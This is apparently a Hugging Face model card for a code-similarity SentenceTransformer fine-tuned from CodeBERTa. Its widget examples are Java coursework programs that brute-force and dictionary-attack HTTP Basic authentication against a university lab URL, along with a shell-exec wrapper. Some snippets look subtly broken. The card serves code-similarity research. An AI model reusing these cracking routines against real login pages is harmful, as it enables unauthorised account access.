buelfhood's picture
Add new SentenceTransformer model
e5098bf verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - generated_from_trainer
  - dataset_size:30069
  - loss:SoftmaxLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
  - source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce {\n    \n    \n    \n    public static String Base64Encode(String s) {\n        byte[] bb = s.getBytes();\n        byte[] b  = bb;\n        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n        '0','1','2','3','4','5','6','7','8','9','+','/' };\n        if (bb.length % 3!=0) {\n            int x1 = bb.length;\n            \n            b = new byte[(x1/3+1)*3];\n            int x2 = b.length;\n            \n            for(int i=0;i<x1;i++)\n                b[i] = bb[i];\n            for(int i=x1;i<x2;i++)\n                b[i] = 0;\n        }\n        \n        char[] c = new char[b.length/3*4];\n        \n        int i=0, j=0;\n        while (i+3<=b.length) {\n            c[j]     = table[(b[i]   >>  2)];\n            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];\n            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];\n            c[j+3]   = table[(b[i+2] &  63)];\n            i+=3;\n            j+=4;\n        }\n        \n        j = c.length-1;\n        while (c[j]=='A') {\n            c[j]='=';\n            j--;\n        }\n        \n        return String.valueOf(c);\n    }\n    \n    \n    public synchronized void getAccumulatedLocalAttempt() {\n        attempt = 0;\n        for (int i=0;i<MAXTHREAD;i++) {\n            attempt += threads[i].getLocalAttempt();\n        }\n    }\n    \n    \n    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n        DecimalFormat fmt = new DecimalFormat();\n        fmt.applyPattern(\"0.00\");\n        \n        System.out.println();\n        System.out.println(\" ------------------------ [ CURRENT STATISTICS ] ---------------------------\");\n        System.out.println();\n        System.out.println(\"  Current connections   : \"+curconn);\n        System.out.println(\"  Current progress      : \"+attempt+ \" of \"+ALLCOMBI+\" (\"+currprogress+\"%)\");\n        System.out.println(\"  Overall Attempts rate : \"+ovrl+\" attempts  second (approx.)\");\n        System.out.println();\n        System.out.println(\" ---------------------------------------------------------------------------\");\n        System.out.println();\n    }\n    \n    \n    public class MyTT extends TimerTask {\n        \n        public synchronized void run() {\n            \n            \n            if (count==REPORT_INTERVAL) {\n                \n                DecimalFormat fmt = new DecimalFormat();\n                fmt.applyPattern(\"0.00\");\n                \n                \n                getAccumulatedLocalAttempt();\n                double p = (double)attempt/(double)ALLCOMBI*100;\n                \n                \n                double aps = (double) (attempt - attm) / REPORT_INTERVAL;\n                \n                \n                attmArr[attmArrIdx++] = aps;\n                \n                \n                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n                count = 0;\n            } else\n                \n                if (count==0) {\n                    getAccumulatedLocalAttempt();\n                    attm = attempt;\n                    count++;\n                } else {\n                    count++;\n                }\n        }\n        \n        \n        public synchronized double getOverallAttemptPerSec() {\n            double val = 0;\n            for (int i=0;i<attmArrIdx;i++) {\n                 val+= attmArr[i];\n            }\n            return val / attmArrIdx;\n        }\n        \n        private int      count = 0;\n        private   int   attm;\n        private int      attmArrIdx = 0;\n        private double[] attmArr = new double[2*60*60/10]; \n    }\n    \n    \n    public synchronized void interruptAll(int ID) {\n        for (int i=0;i<MAXTHREAD;i++) {\n            if ((threads[i].isAlive()) && (i!=ID)) {\n                threads[i].interrupt();\n            }\n            notifyAll();\n        }\n    }\n    \n    \n    \n    public synchronized void setSuccess(int ID, String p) {\n        passw   = p;\n        success = ID;\n        notifyAll();\n        interruptAll(ID);\n        \n        \n        end = System.currentTimeMillis();\n    }\n    \n    \n    public synchronized boolean isSuccess() {\n        return (success>=0);\n    }\n    \n    \n    \n    public synchronized void waitUntilAllTerminated() {\n        while (curconn>0) {\n            try {\n                wait();\n            } catch (InterruptedException e) {}\n        }\n    }\n    \n    \n    \n    \n    public synchronized int waitUntilOK2Connect() {\n        boolean interruptd= false;\n        int idx = -1;\n        \n        \n        \n        \n        while (curconn>=MAXCONN) {\n            try {\n                wait();\n            } catch (InterruptedException e) { interruptd = true; }\n        }\n        \n        \n        \n        if (!interruptd) {\n            \n            curconn++;\n            for (idx=0;idx<MAXCONN;idx++)\n                if (!connused[idx]) {\n                    connused[idx] = true;\n                    break;\n                }\n            \n            notifyAll();\n        }\n        \n        \n        return idx;\n    }\n    \n    \n    public synchronized void decreaseConn(int idx) {\n        curconn--;\n        connused[idx] = false;\n        \n        \n        notifyAll();\n    }\n    \n    \n    public class ThCrack extends Thread {\n        \n        \n        public ThCrack(int threadID, int startidx, int endidx) {\n            super(\" Thread #\"+String.valueOf(threadID)+\": \");\n            this.ID       = threadID;\n            this.startidx = startidx;\n            this.endidx   = endidx;\n            \n            setDaemon(true);\n        }\n        \n        \n        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {\n            int i ;\n            String msg;\n            \n            \n            URL tryURL = new URL(THEURL);\n            \n            \n            connections[connID]=(HttpURLConnection) tryURL.openConnection();\n            \n            \n            connections[connID].setRequestProperty(\"Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n            \n            \n            i = connections[connID].getResponseCode();\n            msg  = connections[connID].getResponseMessage();\n            connections[connID].disconnect();\n            \n            \n            if (i==HttpURLConnection.HTTP_OK) {\n                \n                System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n                setSuccess(this.ID,thePass);\n                return (true);\n            } else {\n                \n                System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n                return (false);\n            }\n        }\n        \n        \n        public void rest(int msec) {\n            try { sleep(msec); } catch (InterruptedException e) {}\n        }\n        \n        \n        \n        public String constructPassword( int idx) {\n            int     i = idxLimit.length-2;\n            boolean processed = false;\n             \n            String result = \"\";\n            while (i>=0) {\n                if (idx>=idxLimit[i]) {\n                    int nchar = i + 1;\n                    idx-=idxLimit[i];\n                    for (int j=0;j<nchar;j++) {\n                        x = (idx % NCHAR);\n                        result = charset.charAt((int) x) + result;\n                        idx /= NCHAR;\n                    }\n                    break;\n                }\n                i--;\n            }\n            \n            return result;\n        }\n        \n        \n        public String getStartStr() {\n            return constructPassword(this.startidx);\n        }\n        \n        \n        public String getEndStr() {\n            return constructPassword(this.endidx);\n        }\n        \n        \n        public void run() {\n             i = startidx;\n            boolean keeprunning = true;\n            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {\n                \n                \n                int idx = waitUntilOK2Connect();\n                \n                \n                if (idx==-1) {\n                    \n                    break;\n                }\n                \n                try {\n                    \n                    launchRequest(getName(), idx, constructPassword(i));\n                    \n                    decreaseConn(idx);\n                    \n                    localattempt++;\n                    \n                    \n                    rest(MAXCONN);\n                    i++;\n                } catch (InterruptedException e) {\n                    \n                    \n                    keeprunning = false;\n                    break;\n                } catch (IOException e) {\n                    \n                    \n                    \n                    \n                    \n                    decreaseConn(idx);\n                }\n            }\n            \n            \n            if (success==this.ID) {\n                waitUntilAllTerminated();\n            }\n        }\n        \n        \n        public int getLocalAttempt() {\n            return localattempt;\n        }\n        \n        private int startidx,endidx;\n        private int ID;\n        private int localattempt = 0;\n    }\n    \n    \n    public void printProgramHeader(String mode,int nThread) {\n        System.out.println();\n        System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************\");\n        System.out.println();\n        System.out.println(\"  URL         : \"+THEURL);\n        System.out.println(\"  Crack Mode  : \"+mode);\n        System.out.println(\"  Characters  : \"+charset);\n        System.out.println(\"  . Char   : \"+MINCHAR);\n        System.out.println(\"  . Char   : \"+MAXCHAR);\n        System.out.println(\"  # of Thread : \"+nThread);\n        System.out.println(\"  Connections : \"+MAXCONN);\n        System.out.println(\"  All Combi.  : \"+ALLCOMBI);\n        System.out.println();\n        System.out.println(\" ***************************************************************************\");\n        System.out.println();\n    }\n    \n    \n    public void startNaiveCracking() {\n        MAXTHREAD = 1;\n        MAXCONN   = 1;\n        startDistCracking();\n    }\n    \n    \n    public void startDistCracking() {\n         int startidx,endidx;\n        int   thcount;\n        \n        \n        if (isenhanced) {\n            printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n        } else {\n            printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n        }\n        \n        \n        i = System.currentTimeMillis();\n        \n         idxstart = idxLimit[MINCHAR-1];\n        \n        \n        \n        \n        \n        \n        if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n         mult = (ALLCOMBI - idxstart) / MAXTHREAD;\n        \n        \n        \n        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {\n            startidx = thcount*mult + idxstart;\n            endidx   = (thcount+1)*mult-1 + idxstart;\n            threads[thcount] = new ThCrack(thcount, startidx, endidx);\n            System.out.println(threads[thcount].getName()+\" try  crack from '\"+threads[thcount].getStartStr()+\"'  '\"+threads[thcount].getEndStr()+\"'\");\n        }\n        \n        \n        \n        \n        \n        startidx = (MAXTHREAD-1)*mult + idxstart;\n        endidx   = ALLCOMBI-1;\n        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);\n        System.out.println(threads[MAXTHREAD-1].getName()+\" try  crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"'  '\"+threads[MAXTHREAD-1].getEndStr()+\"'\");\n        \n        System.out.println();\n        System.out.println(\" ***************************************************************************\");\n        System.out.println();\n        \n        \n        for (int i=0;i<MAXTHREAD;i++)\n            threads[i].print();\n    }\n    \n    \n    public BruteForce() {\n        \n        if (isenhanced) {\n            startDistCracking();\n        } else {\n            startNaiveCracking();\n        }\n        \n        \n        reportTimer  = new java.util.Timer();\n        MyTT      tt = new MyTT();\n        reportTimer.schedule(tt,1000,1000);\n        \n        \n        while ((success==-1) && (attempt<ALLCOMBI)) {\n            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }\n        }\n        \n        \n        if (success==-1) {\n            end = System.currentTimeMillis();\n        }\n        \n        \n        getAccumulatedLocalAttempt();\n        \n        double ovAps = tt.getOverallAttemptPerSec();\n        DecimalFormat fmt = new DecimalFormat();\n        fmt.applyPattern(\"0.00\");\n        \n        \n        reportTimer.cancel();\n        \n        \n        try { Thread.sleep(1000); } catch (InterruptedException e) {  }\n        \n        \n        synchronized (this) {\n            if (success>=0) {\n                System.out.println();\n                System.out.println(\" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************\");\n                System.out.println();\n                System.out.println(\"  The password is     : \"+passw);\n                System.out.println(\"  Number of attempts  : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n                System.out.println(\"  Attempt position    : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n                System.out.println(\"  Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n                System.out.println(\"  Cracking time       : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n                System.out.println(\"  Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+ \" seconds\");\n                System.out.println();\n                System.out.println(\" ***************************************************************************\");\n                System.out.println();\n            } else {\n                System.out.println();\n                System.out.println(\" ********************* [ UNABLE  CRACK THE URL !!! ] *********************\");\n                System.out.println();\n                System.out.println(\"  Number of attempts  : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n                System.out.println(\"  Attempt position    : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n                System.out.println(\"  Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n                System.out.println(\"  Cracking time       : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n                System.out.println();\n                System.out.println(\" ***************************************************************************\");\n                System.out.println();\n            }\n        }\n    }\n    \n    \n    public static void printSyntax() {\n        System.out.println();\n        System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] [] [username]\");\n        System.out.println();\n        System.out.println(\"   mode     : (opt) 0 - NAIVE Brute force mode\");\n        System.out.println(\"                        (trying from the first  the last combinations)\");\n        System.out.println(\"                    1 - ENHANCED Brute force mode\");\n        System.out.println(\"                        (dividing cracking jobs  multiple threads) (default)\");\n        System.out.println(\"   URL      : (opt) the URL  crack \");\n        System.out.println(\"                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n        System.out.println(\"   charset  : (optional) the character set used  crack.\");\n        System.out.println(\"              - (default)\");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n        System.out.println(\"              -alphanum       \");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n        System.out.println(\"              -alphalow       \");\n        System.out.println(\"                 abcdefghijklmnopqrstuvwxyz\");\n        System.out.println(\"              -alphaup        \");\n        System.out.println(\"                 ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n        System.out.println(\"              -number         \");\n        System.out.println(\"                 1234567890\");\n        System.out.println(\"               [custom] e.g. aAbB123\");\n        System.out.println(\"   ,  : (optional) range of characters   applied in the cracking\");\n        System.out.println(\"                         where  1   <=  <= 10  (default  = 1)\");\n        System.out.println(\"                                 <=  <= 10  (default  = 3)\");\n        System.out.println(\"   username : (optional) the username that is used  crack\");\n        System.out.println();\n        System.out.println(\"   NOTE: The optional parameters 'charset','','', and 'username'\");\n        System.out.println(\"         have   specified altogether  none at all.\");\n        System.out.println(\"         For example, if [charset] is specified, then [], [], and\");\n        System.out.println(\"         [username] have   specified as well. If none of them  specified,\");\n        System.out.println(\"         default values   used.\");\n        System.out.println();\n        System.out.println(\"   Example of invocation :\");\n        System.out.println(\"         java BruteForce \");\n        System.out.println(\"         java BruteForce 0\");\n        System.out.println(\"         java BruteForce 1 http://localhost/tryme.php\");\n        System.out.println(\"         java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n        System.out.println(\"         java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n        System.out.println();\n        System.out.println();\n    }\n    \n    \n    \n    \n    \n    \n    \n    \n    public static void countIdxLimit() {\n        idxLimit = new int[MAXCHAR+1];\n        \n        NCHAR    = charset.length();\n        ALLCOMBI = 0;\n        for (int i=0;i<=MAXCHAR;i++) {\n            if (i==0) {\n                idxLimit[i] = 0;\n            } else {\n                idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n            }\n        }\n        \n        ALLCOMBI = idxLimit[idxLimit.length-1];\n    }\n    \n    \n    public static void paramCheck(String[] args) {\n        int argc = args.length;\n        \n        \n        try {\n            switch (Integer.valueOf(args[0]).intValue()) {\n                case 0: {\n                    isenhanced = false;\n                } break;\n               case  1: {\n                    isenhanced = true;\n                } break;\n                default:\n                    System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n                    printSyntax();\n                    System.exit(1);\n            }\n        } catch (NumberFormatException e) {\n            System.out.println(\"Syntax error : invalid number '\"+args[0]+\"'\");\n            printSyntax();\n            System.exit(1);\n        }\n        \n        if (argc>1) {\n            try {\n                \n                URL u  = new URL(args[1]);\n                \n                \n                try {\n                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n                    \n                    switch (conn.getResponseCode()) {\n                        case HttpURLConnection.HTTP_ACCEPTED:\n                       case  HttpURLConnection.HTTP_OK:\n                       case  HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n                       case  HttpURLConnection.HTTP_FORBIDDEN:\n                       case  HttpURLConnection.HTTP_UNAUTHORIZED:\n                            break;\n                        default:\n                            \n                            \n                            System.out.println(\"Unable  open connection  the URL '\"+args[1]+\"'\");\n                            System.exit(1);\n                    }\n                } catch (IOException e) {\n                    System.out.println(e);\n                    System.exit(1);\n                }\n                \n                THEURL = args[1];\n            } catch (MalformedURLException e) {\n                \n                System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n        }\n        \n        \n        if (argc==6) {\n            try {\n                MINCHAR = Integer.valueOf(args[3]).intValue();\n            } catch (NumberFormatException e) {\n                System.out.println(\"Invalid  range number value '\"+args[3]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            try {\n                MAXCHAR = Integer.valueOf(args[4]).intValue();\n            } catch (NumberFormatException e) {\n                System.out.println(\"Invalid  range number value '\"+args[4]+\"'\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            if ((MINCHAR<1) || (MINCHAR>10)) {\n                System.out.println(\"Invalid  range number value '\"+args[3]+\"' (must between 0 and 10)\");\n                printSyntax();\n                System.exit(1);\n            } else\n                if (MINCHAR>MAXCHAR) {\n                    System.out.println(\"Invalid  range number value '\"+args[3]+\"' (must lower than the  value)\");\n                    printSyntax();\n                    System.exit(1);\n                }\n            \n            if (MAXCHAR>10) {\n                System.out.println(\"Invalid  range number value '\"+args[4]+\"' (must between  value and 10)\");\n                printSyntax();\n                System.exit(1);\n            }\n            \n            if (args[2].toLowerCase().equals(\"-\")) {\n                charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n            } else\n                if (args[2].toLowerCase().equals(\"-alphanum\")) {\n                    charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n                } else\n                    if (args[2].toLowerCase().equals(\"-alphalow\")) {\n                        charset = \"abcdefghijklmnopqrstuvwxyz\";\n                    } else\n                        if (args[2].toLowerCase().equals(\"-alphaup\")) {\n                            charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n                        } else\n                            if (args[2].toLowerCase().equals(\"-number\")) {\n                                charset = \"1234567890\";\n                            } else {\n                                charset = args[2];\n                            }\n            \n            USERNAME = args[5];\n        } else\n            if ((argc>2) && (argc<6)) {\n                System.out.println(\"Please specify the [charset], [], [], and [username] altogether  none at all\");\n                printSyntax();\n                System.exit(1);\n            } else\n                if ((argc>2) && (argc>6)) {\n                    System.out.println(\"The number of parameters expected is not more than 6. \");\n                    System.out.println(\" have specified more than 6 parameters.\");\n                    printSyntax();\n                    System.exit(1);\n                }\n    }\n    \n    public static void main (String[] args) {\n        \n        charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n        MINCHAR = 1;\n        MAXCHAR = 3;\n        \n        \n        if (args.length==0) {\n            args    = new String[6];\n            args[0] = String.valueOf(1); \n            args[1] = THEURL;\n            args[2] = \"-\";\n            args[3] = String.valueOf(MINCHAR);\n            args[4] = String.valueOf(MAXCHAR);\n            args[5] = USERNAME;\n        }\n        \n        \n        paramCheck(args);\n        \n        countIdxLimit();\n        \n        \n        Application = new BruteForce();\n    }\n    \n    public static BruteForce Application;\n    public static String    THEURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n    public static boolean   isenhanced; \n    public static String    passw  = \"\";   \n    \n    public static final int REPORT_INTERVAL = 10; \n    public static int       MAXTHREAD =  50;      \n    public static int       MAXCONN   =  50;      \n    public static int\t    curconn   =   0;      \n    public static int       success   =  -1;      \n    \n    public static String    USERNAME = \"\";  \n    public static int       MINCHAR;              \n    public static int       MAXCHAR;              \n    public static  int     ALLCOMBI;             \n    \n    public static   int start   ,end;            \n    \n    \n    public static java.util.Timer   reportTimer; \n    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; \n    public static boolean\t    connused[]    = new boolean[MAXCONN];           \n    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         \n    public static    int   attempt               = 0; \n    public static int    idxLimit; \n    public static String    charset;  \n    public static int       NCHAR;    \n}\n"
    sentences:
      - |+


        public class Execute {
           public Execute(String cmdline) {
              try {
                 
                 String[] cmd = {"//sh", "-c", cmdline};
                 Process p = Runtime.getRuntime().exec(cmd);
                 
                 p.waitFor();
              } catch (Exception e){}
           }
        }

      - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\nimport javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n    private String         url;\n    private URL            currURL;\n    private URLConnection  conn;\n    private HoldSharedData sharedData;\n    private int            noOfThread;\n    private int            batch;\n\n    public ConnectionThread( String pageURL, int wThread,\n                             int newBatch, HoldSharedData data )\n    {\n        super();\n        url = pageURL;\n        noOfThread = wThread ;\n        batch = newBatch;\n        sharedData = data;\n    }\n\n    \n    public void run()\n    {\n        try\n        {\n            currURL = new URL( url );\n\n            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&\n                                    (i < sharedData.getPwdCount()); i ++ )\n            {\n                String pwd = sharedData.getPasswordAt( i );\n\n                conn = currURL.openConnection();\n\n                if (conn instanceof HttpURLConnection)\n                {\n\t            HttpURLConnection hconn = (HttpURLConnection) conn;\n                    hconn.setFollowRedirects(false);\n                    String cad = \" \" + based64Encoder( \":\" + pwd );\n                    hconn.setRequestProperty( \"Authorization\", cad );\n\n                    hconn.connect();\n\t            int response = hconn.getResponseCode();\n                    sharedData.setNumOfConnections();\n\n                    if( response == 200 )\n                    {\n                         totalTime = System.currentTimeMillis() -\n                                           sharedData.getStartTime();\n                        int numOfConnections = sharedData.getNumOfConnections();\n\n                        System.out.println( \"Password is \" + pwd );\n                        System.out.println( \"Total Time(seconds)=\" +\n                                           (double)totalTime/1000 );\n                        System.out.println( \"Number Of Connections: \" +\n                                                    numOfConnections );\n                        System.exit(0);\n                    }\n                    else\n                    {\n                        hconn.disconnect();\n                    }\n                }\n            }\n        }\n        catch( MalformedURLException mue )\n        {\n            String msg = \"Unable  parse URL: \" + url;\n            System.err.println( msg );\n        }\n        catch( IOException ioe )\n        {\n            System.err.println( \"I/O Error : \" + ioe );\n        }\n    }\n\n    private String based64Encoder( String pwd )\n    {\n        \n        String str = pwd;\n        byte[] buf = str.getBytes();\n        String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n        return encodedStr;\n    }\n}  "
      - |-
        import java.io.*;
        import java.net.*;

        public class Dictionary{

         public static void main( String[] args ){
         Dictionary dict= new Dictionary();
         dict.create();
         }

        public void dsf(){
            String password;
            String auth_data;
            String username="";
            String server_res_code;
            String required_server_res_code="200";
            int cntr=0;
         try{
            URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
            URLConnection conn=null;
            String fileName = "/usr/share/lib/dict/words";
            fileName=fileName.trim();
            FileReader fr = new FileReader(fileName);
            BufferedReader inputfile = new BufferedReader(fr);

            while( (password=inputfile.readLine()) != null ){

                   password = password.trim();
                   
                   auth_data=null;
                   auth_data=username + ":" + password;
                   auth_data=auth_data.trim();
                   auth_data=getBasicAuthData(auth_data);
                   auth_data=auth_data.trim();
                   conn=url.openConnection();
                   conn.setDoInput (true);
                   conn.setDoOutput(true);
                   conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
                   conn.setRequestProperty ("Authorization", auth_data);
                   server_res_code=conn.getHeaderField(0);
                   server_res_code=server_res_code.substring(9,12);
                   server_res_code.trim();
                   cntr++;
                   if( server_res_code.compareTo(required_server_res_code)!=0)
                   System.out.println(cntr + " . " + "PASSWORD SEND : " + password + "  SERVER RESPONSE  : " + server_res_code);
                   else {
                   System.out.println(cntr + " . " + "PASSWORD IS: " + password + "  SERVER RESPONSE  : " + server_res_code);
                   break;}

                   }

        }

        catch( Exception e){
               System.err.println(e);
               }
        }

        public String getBasicAuthData (String getauthdata)    {

        char base64Array [] = {
              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
              'w', 'x', 'y', 'z', '0', '1', '2', '3',
              '4', '5', '6', '7', '8', '9', '+', '/' } ;

            String encodedString = "";
            byte bytes [] = getauthdata.getBytes ();
            int i = 0;
            int pad = 0;
            while (i < bytes.length) {
              byte b1 = bytes [i++];
              byte b2;
              byte b3;
              if (i >= bytes.length) {
                 b2 = 0;
                 b3 = 0;
                 pad = 2;
                 }
              else {
                 b2 = bytes [i++];
                 if (i >= bytes.length) {
                    b3 = 0;
                    pad = 1;
                    }
                 else
                    b3 = bytes [i++];
                 }
              byte c1 = (byte)(b1 >> 2);
              byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
              byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
              byte c4 = (byte)(b3 & 0x3f);
              encodedString += base64Array [c1];
              encodedString += base64Array [c2];
              switch (pad) {
               case 0:
                 encodedString += base64Array [c3];
                 encodedString += base64Array [c4];
                 break;
               case 1:
                 encodedString += base64Array [c3];
                 encodedString += "=";
                 break;
               case 2:
                 encodedString += "==";
                 break;
               }
              }
              return " " + encodedString;
          }

        }
  - source_sentence: |
      import java.net.*;
      import java.util.*;
      import java.io.*;




      public class BruteForce {
        URL url;
        URLConnection uc;
        String username, password, encoding;
        int pretime, posttime;
        String c ;

        public BruteForce(){
          pretime = new Date().getTime();
          try{
            url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
          }catch(MalformedURLException e){
            e.printStackTrace();
          }
          username = "";
        }

        public void checkPassword(char[] pw){
          try{
            password = new String(pw);
            encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
            uc = url.openConnection();
            uc.setRequestProperty("Authorization", " " + encoding);
            bf = uc.getHeaderField(null);
            System.out.println(password);
            if(bf.equals("HTTP/1.1 200 OK")){
              posttime = new Date().getTime();
               diff = posttime - pretime;
              System.out.println(username+":"+password);
              System.out.println();
              System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
              System.exit(0);
            }
          }catch(MalformedURLException e){
            e.printStackTrace();
          }catch(IOException ioe){
            ioe.printStackTrace();
          }
        }

        public static void main (String[] args){
          BruteForce bf = new BruteForce();
          char i, j, k;

          
          for(i='a'; i<='z'; i++){
            for(j='a'; j<='z'; j++){  
              for(k='a'; k<='z'; k++){
                char[] pw = {i, j, k};
                bf.checkPassword(pw);
              }
            }
          }

          
          for(i='A'; i<='Z'; i++){
            for(j='A'; j<='Z'; j++){  
              for(k='A'; k<='Z'; k++){
                char[] pw = {i, j, k};
                bf.checkPassword(pw);
              }
            }
          }

          
          for(i='A'; i<='Z'; i++){
            for(j='a'; j<='z'; j++){  
              for(k='a'; k<='z'; k++){
                char[] pw = {i, j, k};
                bf.checkPassword(pw);
              }
            }
          }

          for(i='A'; i<='z'; i++){ 
            if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
              continue;
            }
            for(j='A'; j<='Z'; j++){  
              for(k='a'; k<='z'; k++){
                char[] pw = {i, j, k};
                bf.checkPassword(pw);
              }
            }
          }   

          for(i='A'; i<='z'; i++){ 
            if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
              continue;
            }
            for(j='a'; j<='z'; j++){  
              for(k='A'; k<='Z'; k++){
                char[] pw = {i, j, k};
                bf.checkPassword(pw);
              }
            }
          } 
              
          for(i='a'; i<='z'; i++){
            for(j='A'; j<='Z'; j++){  
              for(k='A'; k<='Z'; k++){
                char[] pw = {i, j, k};
                bf.checkPassword(pw);
              }
            }
          }
          
          
          for(i='A'; i<='z'; i++){ 
            if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
              continue;
            }
            for(j='A'; j<='z'; j++){  
              if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
                continue;
              }
              char[] pw = {i, j};
              bf.checkPassword(pw);
            }
          }   
          
          
          for(i='A'; i<='z'; i++){     
            if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
              continue;
            }
            char[] pw = {i};
            bf.checkPassword(pw);
          }
        }
      }
              
    sentences:
      - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n{\t\n\n\tpublic static void main(String args[])\n\t{\n\n           Runtime rt1 = Runtime.getRuntime();\n\t   Process prss1= null;\n\n           try\n            {\n             prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/\");\n            }catch(java.io.IOException e){}\n\n\t   MyWatchDogTimer w = new MyWatchDogTimer();\n\t   Timer time = new Timer();\n\t   time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n"
      - |
        import java.io.*;
        import java.net.*;











        public class BruteForce
        {
           private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
           private static String password;
           private static int length;          
           private static int t_counter;       
           private static int f_counter;       
                                               
           private static int cases;           
                                               
           private static int respCode;        

           public BruteForce()
           {
              Authenticator.setDefault(new BruteForceAuthenticator());
              t_counter = 0;
              f_counter = 0;
              cases = 0;
           }

           public static void main (String[] args)
           {
              BruteForce bf = new BruteForce();
              String file = " ";
              while(respCode != 200)
              {
                 file = bf.fetchURL();
              }
              System.out.println("Number of attempts: " + t_counter);
              System.out.println("Password: " + password);
              System.out.println(file);
           }

           private String fetchURL()
           {
              StringWriter sw = new StringWriter();
              PrintWriter pw = new PrintWriter();

              try
              {
                 URL url = new URL(urlString);
